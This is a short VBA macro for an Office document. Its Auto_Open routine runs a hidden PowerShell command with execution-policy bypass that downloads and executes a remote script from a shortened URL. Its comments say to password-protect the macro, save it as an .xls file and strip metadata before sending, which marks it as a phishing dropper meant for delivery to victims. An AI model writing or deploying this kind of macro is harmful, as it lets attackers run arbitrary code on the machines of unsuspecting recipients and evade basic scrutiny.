Sub Auto_Open()

Dim strCommand As String
'Run the following in PowerShell to get encoded command: (cmd /c echo {IEX calc.exe}).split(' ')[1]
strCommand = "powershell -executionpolicy bypass ""IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/m3n9pkc');"""
Shell strCommand, 0

'Don't forget to password protect the macro, save as an xls and remove metadata before sending
End Sub